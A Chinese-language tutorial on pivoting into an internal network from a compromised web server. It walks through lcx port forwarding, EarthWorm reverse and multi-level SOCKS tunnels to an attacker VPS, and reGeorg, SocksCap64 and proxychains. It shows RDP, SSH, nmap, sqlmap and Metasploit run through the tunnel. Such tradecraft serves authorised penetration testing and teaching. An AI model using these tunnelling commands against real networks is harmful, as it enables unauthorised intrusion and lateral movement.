內網漫遊之SOCKS代理大結局

FLy_鵬程萬里發表於2018-06-13

0×01 引言

在實際滲透過程中,我們成功入侵了目標伺服器。接著我們想在本機上通過瀏覽器或者其他客戶端軟體訪問目標機器內部網路中所開放的埠,比如內網的3389埠、內網網站8080埠等等。傳統的方法是利用nc、lcx等工具,進行埠轉發。

適用埠轉發的網路環境有以下幾種:

1. 伺服器處於內網,可以訪問外部網路。
2. 伺服器處於外網,可以訪問外部網路,但是伺服器安裝了防火牆來拒絕敏感埠的連線。
3. 伺服器處於內網,對外只開放了80埠,並且伺服器不能訪問外網網路。

對於以上三種情況,lcx可以突破1和2二種,但是第3種就沒有辦法了,因為lcx在使用中需要訪問外部網路。

這裡的第3種就可以用到我們今天重點要講的SOCKS代理。Socks是一種代理服務,可以簡單地將一端的系統連線到另外一端。支援多種協議,包括http、ftp請求及其它型別的請求。它分socks 4 和socks 5兩種型別,socks 4只支援TCP協議而socks 5支援TCP/UDP協議,還支援各種身份驗證機制等協議。其標準埠為1080。

Socks在滲透測試中使用特別廣泛,能夠很方便讓我們與目標內網計算機之間通訊,避免了一次又一次使用埠轉發的麻煩。比較常見的Socks5工具有htran,reGeorg等,socks4的有metasploit。

在實際滲透測試過程中,當我們成功的拿下第一臺堡壘機後,此時我們又想對目標內網進一步滲透測試時,socks能夠幫助我們更加快速的,方便的訪問目標內網的各種資源,比傳統的埠轉發更加實用。

0×02 滲透環境

此次滲透的環境:左側是我的個人電腦(內網)和一臺有公網IP的VPS,右側是一個小型內網。假設我們現在已經滲透了一臺WEB伺服器,該伺服器內網IP為10.48.128.25。經過掃描,右側小型內網網路結構如圖所示。其中我們控制的WEB伺服器是連線外網和內網的關鍵節點,內網其他伺服器均不能直接連線。圖是我老婆用CAD畫的,還不錯吧!: )



0×03 socket埠轉發

首先我們介紹下最為經典也是使用最為頻繁的埠轉發工具lcx,lcx.exe 是一個基於 socket 套接字實現的埠轉發工具,它是從 linux 下的htran 工具移植到windows平臺的。一條正常的socket隧道必具備兩端,一側為服務端,它會監聽一個埠等待客戶端連線;另一側為客戶端,通過傳入服務端的ip和埠,才能主動連線到伺服器。

比如要轉發上圖中目標機器10.48.128.25的3389埠:

1、在目標機器10.48.128.25上執行

lcx.exe –slave 139.XXX.XX.113 9000 10.48.128.25 3389

此段命令意思是將目標機器3389埠的所有資料都轉發到公網VPS的9000埠上。

2、在VPS上執行

lcx.exe –listen 9000 5555

此段命令意思是將本機9000埠上監聽到的所有資料轉發到本機的5555埠上。

3、在左側的My PC機上用mstsc登陸139.XXX.XX.113:5555或者在VPS上用mstsc登陸127.0.0.1:5555。即可訪問右側內部網路中10.48.128.25伺服器的3389埠。

Lcx工具實現的是一對一的埠轉發,如果想訪問右側網路中列出的所有埠,就必須一次次的重複lcx的轉發過程,效率相當低下。而且伺服器都是有裝有防毒軟體的,即使有做免殺也不能保證繞過所有的防毒。

像這種情況就可以用到socks代理,在10.48.128.25這臺既能連線網際網路又能連線內網的WEB伺服器上架設代理。

0×04 SOCKS代理工具

socks代理其實也可理解為一個增強版的 lcx,它在服務端監聽一個服務埠,當有新的連線請求時會從socks協議中解析出訪問目標的URL的目標埠,再開始執行lcx的具體功能。網路上Socks代理工具有很多,選用的時候儘可能使用無GUI介面的工具,還有儘可能不需要安裝其他依賴軟體,能夠支援多平臺作業系統的更佳。

1. Earthworm     工具網址:http://rootkiter.com/EarthWorm 

EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網路隧道,直達網路深處,用蚯蚓獨有的手段突破網路限制,給防火牆鬆土。工具包中提供了多種可執行檔案,以適用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。

目前已經有了最新版Termite,工具網址:http://rootkiter.com/Termite/ 

2.reGeorg         工具網址:https://github.com/NoneNotNull/reGeorg 

reGeorg是reDuh的升級版,主要是把內網伺服器的埠通過http/https隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用webshell建立一個socks代理進行內網穿透,伺服器必須支援aspx、php或jsp這些web程式中的一種。

3.sSocks          工具網址:http://sourceforge.net/projects/ssocks/ 

sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支援socks5驗證,支援IPV6和UDP,並提供反向socks代理服務,即將遠端計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.13。

4.SocksCap64     工具網址:http://www.sockscap64.com (需翻牆)

SocksCap64是一款在windows下相當好使的全域性代理軟體。SocksCap64可以使Windows應用程式通過SOCKS代理伺服器來訪問網路而不需要對這些應用程式做任何修改, 即使某些本身不支援SOCKS代理的應用程式通過SocksCap64之後都可以完美的實現代理訪問。

5.proxychains     工具網址:http://proxychains.sourceforge.net/ 

Proxychains是一款在LINUX下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許TCP和DNS通過代理隧道,支援HTTP、SOCKS4、SOCKS5型別的代理伺服器,支援proxy chain,即可配置多個代理,同一個proxy chain可使用不同型別的代理伺服器。

0×05 架設代理服務端

在實際滲透測試中,我經常使用的socks工具是EW,該程式體積很小,LINUX的只有30KB左右,Windows下面的也只有56KB,而且不需要再做其他設定,真的是居家旅行之必備之物。

下載開啟EW軟體資料夾,可以看到有針對各種系統用的程式,如下圖:

根據你實際的作業系統選用就可以了,因為我們此次滲透是WINDOWS的所以就用ew_for_win.exe這個程式了。EW的使用也非常簡單,該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

首先介紹用於普通網路環境的正向連線ssocksd命令和反彈連線rcsocks命令、rssocks命令,再介紹用於複雜網路環境的多級級聯。

# 簡單解釋下正向代理和反向代理的區別,正向代理就是我們主動通過proxy來訪問目標機器,反向代理就是目標機器通過proxy主動來連線我們。

1. 正向socks v5伺服器            適用於目標機器擁有一個外網IP

ew –s ssocksd –l 888


上述命令架設了一個埠為888,SOCKS的代理。然後使用sockscap64新增這個IP的代理就可以使用了。比較簡單就不演示了。

2. 反彈socks v5伺服器           適用於目標機器沒有公網IP,但可訪問內網資源

A. 先上傳ew 到左側ip地址為139.XXX.XX.113公網VPS的C盤上,執行下列命令:

ew -s rcsocks -l 1008 -e 888


該命令的意思是在我們公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉交給888埠

B. 上傳EW到右側IP地址為10.48.128.25的WEB伺服器C盤上,執行下列命令:

ew -s rssocks -d 139.XXX.XX.113 -e 888


該命令的意思是在10.48.128.25上啟動SOCKS V5服務,並反彈到IP地址為139.XXX.XX.113左側公網VPS的888埠上。

C. 返回我們公網VPS的CMD介面下,可以看到已經反彈成功了。現在就可以通過訪問139.XXX.XX.113:1008埠使用在右側10.48.128.25架設的SOCKS5代理服務了。


3.二級網路環境(一)

假設我們獲得了右側A主機和B主機的控制許可權,A主機配有2塊網路卡,一塊連通外網,一塊10.48.128.25只能連線內網B主機,無法訪問內網其它資源。B主機可以訪問內網資源,但無法訪問外網。


A.先上傳ew到B主機,利用ssocksd方式啟動888埠的SOCKS代理,命令如下:

ew -s ssocksd -l 888


B.上傳ew到右側A主機,執行下列命令:

ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888


該命令意思是將1080埠收到的代理請求轉交給B主機(10.48.128.49)的888埠。

C.可以通過訪問A主機外網139.XXX.XX.113:1080來使用在B主機架設的socks5代理。

4.二級網路環境(二)

假設我們獲得了右側A主機和B主機的控制許可權,A主機沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。


這個操作分為4步,用到lcx_listen和lcx_slave命令:

A. 先上傳ew 到左側公網VPS上,執行下列命令:

ew –s lcx_listen –l 10800 –e 888


該命令意思是在公網VPS新增轉接隧道,將10800埠收到的代理請求轉交給888埠。

B.上傳ew到右側B主機,並利用ssocksd方式啟動999埠的socks代理,命令如下:

ew -s ssocksd -l 999


C.上傳ew 到右側A主機,執行下列命令:

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999


該命令意思是在A主機上利用lcx_slave方式,將公網VPS的888埠和B主機的999埠連線起來。

D. 返回我們公網VPS的CMD介面下,可以看到已經連線成功了。


現在就可以通過訪問公網VPS地址 139.XXX.XX.113:10800來使用在B主機架設的socks5代理。

5.三級網路環境

三級網路環境在實際滲透中用的比較少,也比較複雜,現在我們來一個個的講解下三級級聯的用法。

假設滲透場景:右側內網A主機沒有公網IP但可以訪問外網,B主機不能訪問外網但可以被A主機訪問、C主機可被B主機訪問而且能夠訪問核心區域。


A.在左側公網VPS上執行命令,將1080埠收到的代理請求轉交給888埠:

ew -s rcsocks -l 1080 -e 888

B.在A主機上執行命令,將公網VPS的888埠和B主機的999埠連線起來:

ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999

C.在B主機上執行命令,將999埠收到的代理請求轉交給777埠:

ew -s lcx_listen -l 999 -e 777

D.在C主機上啟動SOCKS V5服務,並反彈到B主機的777埠上,命令如下。

ew -s rssocks -d 10.48.128.12 -e 777

E.在MY PC上可以通過訪問公網VPS 139.XXX.XX.113:1080來使用在C主機架設的socks5代理。

整個資料流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks


0×06 內網漫遊

1.Windows下使用sockscap64

首先下載安裝好SocksCap64後,以管理員許可權開啟。預設瀏覽器已經新增。


使用比較簡單,點選代理,點選新增一個代理,然後設定下代理伺服器IP和埠就可以使用了。設定好後可以點選軟體右邊有個閃電的小圓點,測試下當前代理伺服器是否可以連線,如下圖,連線是正常的。


這個時候就可以選擇瀏覽器,右擊在代理隧道中執行選中的程式,然後我們就可以自由訪問我們想訪問的內網資源了,比如我們可以訪問10.48.128.22路由的80埠,如下圖:



可以看到我們已經成功的通過socks代理漫遊內部網路WEB資源,我們接著看看還有哪些程式能夠利用SOCKSCAP的程式通過代理訪問內網中的哪些埠了?

嘗試登陸10.48.128.20的3389埠,可以看到成功登陸。


我們可以在我們的公網VPS的命令列下可以看到,不停的有資料的交換。再嘗試PUTTY訪問10.48.128.49的22埠,成功登陸。



再試試VNC埠,因為10.48.128.25開了5900埠,OK,成功訪問。大家可以看到這種利用SOCKS代理實現一對多埠對映的優勢立刻就體現了出來,效率倍增。


但是將掃描工具進行SOCKSCAP代理,然後對內網網段進行掃描,我沒有嘗試成功,大家可以多多的嘗試各種工具!我在代理下用掃描工具一般都是用proxychains,大家接著往下看!

2.LINUX下使用proxychains

KALI系統已經預裝好了這個工具,我們稍作配置就可以使用,開啟終端,輸入命令:

vi /etc/proxychains.conf
# 順便補充下LINUX下Vim編輯器簡單使用方法

使用上面命令進入文字後,摁“i”鍵就進入了編輯模式,可以對文字進行修改,修改完後摁esc 然後摁住shift+; 左下角會出現一個冒號,如下圖。


這個時候輸入wq,摁回車儲存並退出。

第一步先刪掉dynamic_chain前面的註釋符(也就是#符號),如下圖


然後拉到最下面,把預設是socks4 127.0.0.1 9050 的地方改成我們架設的代理服務139.XXX.XX.113 1008


這樣就設定完成了,我們接著測試下代理服務是否正常,在終端輸入

proxyresolv www.baidu.com


此時如上圖所示會顯示未找到命令,不要擔心,繼續在終端輸入下列命令

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

然後再次測試下代理伺服器是否正常,如下圖,顯示OK就表示配置正確了。


現在我們就可以愉快的暢遊內網了,照例先訪問內網網站試試看,我們先在終端輸入proxychains firefox啟動火狐瀏覽器。


等個幾秒鐘,火狐就開啟了,我們還是訪問10.48.128.22路由的80埠看看。


順利開啟,可以看到kali裡面的資料不停的交換,我們再開啟10.48.128.48看看,也是可以訪問的,一個Zend伺服器測試頁。


接著就到了我們的重頭戲了,我們找幾個具有代表性的工具試試,先看看NMAP和SQLMAP好使不!



如上圖所示,均表示相當好使,我們最後再試試大殺器-Metasploit可不可以用。


我們隨便找個IP掃掃看埠,如下圖所示,已經開始掃描了。


其他工具就不再一一介紹了。

The End.

最後感謝rootkiter寫出瞭如此優秀的軟體。

相關文章